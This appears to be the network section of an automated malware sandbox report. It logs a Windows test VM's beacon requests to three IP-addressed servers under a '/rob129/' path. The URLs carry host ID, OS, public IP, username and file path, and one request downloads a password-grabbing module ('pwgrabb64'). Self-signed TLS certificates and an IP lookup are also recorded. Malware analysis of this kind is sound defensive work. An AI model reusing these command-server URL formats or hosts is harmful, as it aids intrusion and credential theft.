Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| icanhazip.com | 104.18.7.156 |
- UDP Requests
-
-
192.168.56.101:61479 164.124.101.2:53
-
192.168.56.101:62324 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:49152 239.255.255.250:3702
-
192.168.56.101:62327 239.255.255.250:1900
-
192.168.56.101:62329 239.255.255.250:3702
-
192.168.56.101:62441 239.255.255.250:3702
-
52.231.114.183:123 192.168.56.101:123
-
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/file/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/file/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:52 GMT
Content-Type: application/octet-stream
Content-Length: 224
Connection: keep-alive
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/tHiBidsluI48eG4clGcD6KL/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/tHiBidsluI48eG4clGcD6KL/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:55 GMT
Content-Type: text/plain
Content-Length: 727
Connection: keep-alive
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/exc/E:%200xc0000005%20A:%200x00000000771D9A5A/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/exc/E:%200xc0000005%20A:%200x00000000771D9A5A/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:56 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/user/test22/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/user/test22/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:56 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5CAnyLiteGamesFXVN%5Clinesloters.exe/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/path/C:%5CUsers%5Ctest22%5CAppData%5CRoaming%5CAnyLiteGamesFXVN%5Clinesloters.exe/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:57 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://179.189.229.254/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/NAT%20status/client%20is%20behind%20NAT/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/NAT%20status/client%20is%20behind%20NAT/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 179.189.229.254
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:01:57 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://182.253.210.130/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/pwgrabb64/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/pwgrabb64/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 182.253.210.130
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 09 Sep 2021 00:02:21 GMT
Content-Type: application/octet-stream
Content-Length: 771952
Last-Modified: Mon, 23 Aug 2021 15:12:36 GMT
Connection: keep-alive
ETag: "6123bae4-bc770"
Accept-Ranges: bytes
GET
200
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/file/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/5/file/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:28 GMT
Content-Type: application/octet-stream
Content-Length: 224
Connection: keep-alive
GET
200
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/3sJT83o5WJMcS5vFWYdczdMViZ/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/0/Windows%207%20x64%20SP1/1107/175.208.134.150/727F639DF1E9560A2743CB69221BB85D3D1D1CBDEE638318DB0A9F2C35331CAD/3sJT83o5WJMcS5vFWYdczdMViZ/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:30 GMT
Content-Type: text/plain
Content-Length: 730
Connection: keep-alive
GET
200
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/exc/E:%200xc0000005%20A:%200x00000000771D9A5A/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/exc/E:%200xc0000005%20A:%200x00000000771D9A5A/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:30 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/user/test22/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/user/test22/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:31 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
200
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/NAT%20status/client%20is%20behind%20NAT/0/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/14/NAT%20status/client%20is%20behind%20NAT/0/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:31 GMT
Content-Type: text/plain
Content-Length: 3
Connection: keep-alive
GET
403
https://185.56.175.122/rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/10/62/XFNRLHZRPDJ/7/
REQUEST
RESPONSE
BODY
GET /rob129/TEST22-PC_W617601.99B3C97B5F99BD1F3B34A1F586177F69/10/62/XFNRLHZRPDJ/7/ HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: 185.56.175.122
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 09 Sep 2021 00:02:32 GMT
Content-Length: 9
Connection: keep-alive
GET
200
http://icanhazip.com/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Connection: Keep-Alive
User-Agent: curl/7.78.0
Host: icanhazip.com
HTTP/1.1 200 OK
Date: Thu, 09 Sep 2021 00:01:53 GMT
Content-Type: text/plain
Content-Length: 16
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Set-Cookie: __cf_bm=uvEN_5aYiE06TzakUBPt9I2wIBewi66cFUnEpwA5WLQ-1631145713-0-AaQ17M0A8jtyx6YqPrWT5C/HVtUb6VfJ4b+CNjytiI1aIZmcSJXhMPvV8OM8i+1t6z5nVLzGfCkVxDMeOs/ifhA=; path=/; expires=Thu, 09-Sep-21 00:31:53 GMT; domain=.icanhazip.com; HttpOnly; SameSite=None
Server: cloudflare
CF-RAY: 68bc2502c8190fbd-ICN
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.101:49203 179.189.229.254:443 |
C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | b5:21:a8:16:d5:97:b1:67:f6:60:a5:cb:20:27:76:ec:3c:9d:3b:02 |
|
TLSv1 192.168.56.101:49207 182.253.210.130:443 |
C=US, ST=IL, O=Internet Widgits Pty Ltd | C=US, ST=IL, O=Internet Widgits Pty Ltd | 92:9c:54:61:4b:3c:f9:b4:92:51:95:d0:aa:d5:6b:b5:51:ab:1d:47 |
|
TLSv1 192.168.56.101:49210 185.56.175.122:443 |
C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | 50:fd:fd:4e:2c:57:ea:f7:c9:cd:3f:61:4a:a2:40:01:1b:b8:df:02 |
|
TLSv1 192.168.56.101:49205 179.189.229.254:443 |
C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | b5:21:a8:16:d5:97:b1:67:f6:60:a5:cb:20:27:76:ec:3c:9d:3b:02 |
|
TLSv1 192.168.56.101:49211 185.56.175.122:443 |
C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | C=AU, ST=Some-State, O=Internet Widgits Pty Ltd | 50:fd:fd:4e:2c:57:ea:f7:c9:cd:3f:61:4a:a2:40:01:1b:b8:df:02 |
Snort Alerts
No Snort Alerts